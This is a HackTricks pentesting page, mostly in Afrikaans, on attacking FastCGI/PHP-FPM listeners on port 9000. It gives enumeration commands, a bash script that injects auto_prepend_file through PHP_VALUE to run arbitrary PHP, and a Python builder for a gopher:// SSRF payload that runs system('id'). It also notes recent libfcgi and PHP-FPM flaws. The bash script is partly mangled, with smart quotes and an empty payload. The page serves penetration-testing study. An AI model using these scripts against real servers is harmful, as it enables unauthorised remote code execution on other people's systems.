9000 Pentesting FastCGI

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

As jy wil leer wat FastCGI is kyk die volgende bladsy:

disable_functions bypass - php-fpm/FastCGI

Per verstek loop FastCGI op poort 9000 en word nie deur nmap herken nie. Gewoonlik luister FastCGI slegs op localhost.

Enumerasie / Vinnige kontroles

  • Port scan: nmap -sV -p9000 <target> (sal dikwels “unknown” diens wys; toets dit handmatig).
  • Peil FPM-statusbladsy: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (verstek php-fpm pm.status_path).
  • Vind bereikbare sockets via SSRF: as ’n HTTP-diens vir SSRF uitgebuit kan word, probeer gopher://127.0.0.1:9000/_... payloads om die FastCGI-luisteraar te bereik.
  • Nginx miskonfigurasies: cgi.fix_pathinfo=1 met fastcgi_split_path_info foute laat jou /.php by statiese lêers voeg en PHP bereik (code exec via traversal).

RCE

Dit is redelik maklik om FastCGI arbitrêre kode te laat uitvoer:

Stuur 'n FastCGI-versoek wat 'n PHP-payload vooraf toevoeg ```bash #!/bin/bash

PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

of jy kan ook die volgende python-skrip gebruik: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher to FastCGI (wanneer 9000 nie direk bereikbaar is nie)

As jy slegs 'n **SSRF**-primitive beheer, kan jy steeds FastCGI teiken deur die gopher scheme te gebruik en 'n volledige FastCGI-versoek saamstel. Voorbeeld payload-bouerder:

<details>
<summary>Bou en stuur 'n gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Skakel payload na URL-safe base64/percent-encoding en stuur dit via gopher://host:9000/_<payload> in jou SSRF.

Aantekeninge oor onlangse probleme

  • libfcgi <= 2.4.4 integer overflow (2024): vervaardigde nameLen/valueLen in FastCGI rekorde kan oorloop op 32‑bit builds (algemeen in embedded/IoT), wat heap RCE tot gevolg kan hê wanneer die FastCGI-sok bereikbaar is (direk of via SSRF).
  • PHP-FPM log manipulation (CVE-2024-9026): wanneer catch_workers_output = yes, aanvallers wat FastCGI versoeke kan stuur mag tot 4 bytes per logreël afkap of injecteer om aanduiders uit te vee of logs te vergiftig.
  • Classic Nginx + cgi.fix_pathinfo misconfig: nog steeds wyd gesien; as fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; gebruik word sonder kontroles vir lêerbestaan, word enige pad wat op .php eindig uitgevoer, wat path traversal of source overwrite styl gadgets moontlik maak.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks